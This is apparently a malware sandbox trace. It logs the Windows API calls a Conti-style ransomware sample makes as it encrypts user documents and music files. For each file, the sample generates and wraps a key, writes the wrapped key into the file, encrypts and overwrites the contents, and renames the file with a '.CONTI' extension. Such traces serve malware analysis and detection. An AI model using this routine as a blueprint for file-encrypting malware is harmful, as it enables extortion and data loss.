	[0138.056] ReadFile (in: hFile=0x440, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x1514b, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x1514b, lpOverlapped=0x0) returned 1
	[0138.070] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1514b, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x15150) returned 1
	[0138.070] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.070] WriteFile (in: hFile=0x440, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x15150, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x15150, lpOverlapped=0x0) returned 1
	[0138.071] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.071] WriteFile (in: hFile=0x440, lpBuffer=0x6b4a990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4a990*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0138.071] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.071] CloseHandle (hObject=0x440) returned 1
	[0138.082] GetProcessHeap () returned 0x1720000
	[0138.082] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.082] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx") returned="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx"
	[0138.082] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx.CONTI"
	[0138.082] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\2pm7lb9tiwgsj6g0.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\2pM7Lb9TIwgSJ6G0.docx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\2pm7lb9tiwgsj6g0.docx.conti")) returned 1
	[0138.083] GetProcessHeap () returned 0x1720000
	[0138.083] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.083] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0138.083] GetProcessHeap () returned 0x1720000
	[0138.083] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb950 | out: hHeap=0x1720000) returned 1
	[0138.083] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0139.130] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f728 | out: phKey=0x6b4f728*=0x6b7f1b8) returned 1
	[0139.130] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f72c, pdwDataLen=0x41ffb3c | out: pbData=0x6b4f72c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0141.144] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\q0deyp37ju86ble.csv")) returned 0x20
	[0141.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\q0deyp37ju86ble.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0141.144] GetLastError () returned 0x0
	[0141.144] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=59899) returned 1
	[0141.144] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe9fb
	[0141.144] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.144] SetEndOfFile (hFile=0x430) returned 1
	[0141.144] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.144] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.144] WriteFile (in: hFile=0x430, lpBuffer=0x6b4f72c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4f72c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0141.146] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.146] ReadFile (in: hFile=0x430, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0xe9fb, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0xe9fb, lpOverlapped=0x0) returned 1
	[0141.150] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xe9fb, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xea00) returned 1
	[0141.150] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.150] WriteFile (in: hFile=0x430, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0xea00, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0xea00, lpOverlapped=0x0) returned 1
	[0141.151] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.151] WriteFile (in: hFile=0x430, lpBuffer=0x6b4f720*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4f720*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0141.151] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.151] CloseHandle (hObject=0x430) returned 1
	[0141.151] GetProcessHeap () returned 0x1720000
	[0141.151] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.151] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv"
	[0141.151] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv.CONTI"
	[0141.151] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\q0deyp37ju86ble.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\BXl-yPYHZ\\Q0dEYP37ju86BLE.csv.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\bxl-ypyhz\\q0deyp37ju86ble.csv.conti")) returned 1
	[0141.151] GetProcessHeap () returned 0x1720000
	[0141.151] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.151] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0141.151] GetProcessHeap () returned 0x1720000
	[0141.151] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17407a8 | out: hHeap=0x1720000) returned 1
	[0141.152] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0141.152] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b070 | out: phKey=0x6b4b070*=0x6b7f1b8) returned 1
	[0141.152] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b074, pdwDataLen=0x41ffb3c | out: pbData=0x6b4b074*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0141.152] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\oieuwmncuvufdsbdzk.mp3")) returned 0x20
	[0141.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\oieuwmncuvufdsbdzk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0141.153] GetLastError () returned 0x0
	[0141.153] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=99214) returned 1
	[0141.153] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1838e
	[0141.153] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.153] SetEndOfFile (hFile=0x430) returned 1
	[0141.153] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.153] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.153] WriteFile (in: hFile=0x430, lpBuffer=0x6b4b074*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4b074*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0141.156] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.156] ReadFile (in: hFile=0x430, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x1838e, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x1838e, lpOverlapped=0x0) returned 1
	[0141.170] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1838e, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x18390) returned 1
	[0141.170] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.170] WriteFile (in: hFile=0x430, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x18390, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x18390, lpOverlapped=0x0) returned 1
	[0141.171] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.171] WriteFile (in: hFile=0x430, lpBuffer=0x6b4b068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4b068*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0141.171] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.171] CloseHandle (hObject=0x430) returned 1
	[0141.172] GetProcessHeap () returned 0x1720000
	[0141.172] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.172] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3"
	[0141.172] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3.CONTI"
	[0141.172] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\oieuwmncuvufdsbdzk.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\OiEUWmNCUvuFDsBdZK.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\oieuwmncuvufdsbdzk.mp3.conti")) returned 1
	[0141.174] GetProcessHeap () returned 0x1720000
	[0141.174] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.174] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0141.174] GetProcessHeap () returned 0x1720000
	[0141.174] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ab40 | out: hHeap=0x1720000) returned 1
	[0141.174] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0141.174] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4cbd0 | out: phKey=0x6b4cbd0*=0x6b7f1b8) returned 1
	[0141.174] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4cbd4, pdwDataLen=0x41ffb3c | out: pbData=0x6b4cbd4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0141.175] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\3kr i5 zawu88cn.m4a")) returned 0x20
	[0141.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\3kr i5 zawu88cn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0141.175] GetLastError () returned 0x0
	[0141.175] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=42091) returned 1
	[0141.175] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa46b
	[0141.175] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.176] SetEndOfFile (hFile=0x430) returned 1
	[0141.176] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.176] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.176] WriteFile (in: hFile=0x430, lpBuffer=0x6b4cbd4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4cbd4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0141.179] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.179] ReadFile (in: hFile=0x430, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0xa46b, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0xa46b, lpOverlapped=0x0) returned 1
	[0141.180] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xa46b, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xa470) returned 1
	[0141.180] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.180] WriteFile (in: hFile=0x430, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0xa470, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0xa470, lpOverlapped=0x0) returned 1
	[0141.180] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.180] WriteFile (in: hFile=0x430, lpBuffer=0x6b4cbc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4cbc8*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0141.180] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.180] CloseHandle (hObject=0x430) returned 1
	[0141.180] GetProcessHeap () returned 0x1720000
	[0141.180] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.180] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a"
	[0141.180] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a.CONTI"
	[0141.180] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\3kr i5 zawu88cn.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\3KR I5 Zawu88Cn.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\3kr i5 zawu88cn.m4a.conti")) returned 1
	[0141.181] GetProcessHeap () returned 0x1720000
	[0141.181] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.181] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0141.181] GetProcessHeap () returned 0x1720000
	[0141.181] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02628 | out: hHeap=0x1720000) returned 1
	[0141.181] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0141.181] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b2b8 | out: phKey=0x6b4b2b8*=0x6b7f1b8) returned 1
	[0141.181] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b2bc, pdwDataLen=0x41ffb3c | out: pbData=0x6b4b2bc*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0141.182] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\8d0-xosizxk.wav")) returned 0x20
	[0141.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\8d0-XoSIzXK.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\8d0-xosizxk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0141.182] GetLastError () returned 0x0
	[0141.182] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=58667) returned 1
	[0141.182] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe52b
	[0141.182] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.182] SetEndOfFile (hFile=0x430) returned 1
	[0141.183] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.183] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.183] WriteFile (in: hFile=0x430, lpBuffer=0x6b4b2bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4b2bc*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0141.191] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.191] ReadFile (in: hFile=0x430, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0xe52b, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0xe52b, lpOverlapped=0x0) returned 1
	[0141.193] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xe52b, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xe530) returned 1
	[0141.193] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.193] WriteFile (in: hFile=0x430, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0xe530, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0xe530, lpOverlapped=0x0) returned 1
	[0141.193] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.193] WriteFile (in: hFile=0x430, lpBuffer=0x6b4b2b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4b2b0*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0141.193] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.193] CloseHandle (hObject=0x430) returned 1
	[0141.193] GetProcessHeap () returned 0x1720000
	[0141.193] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
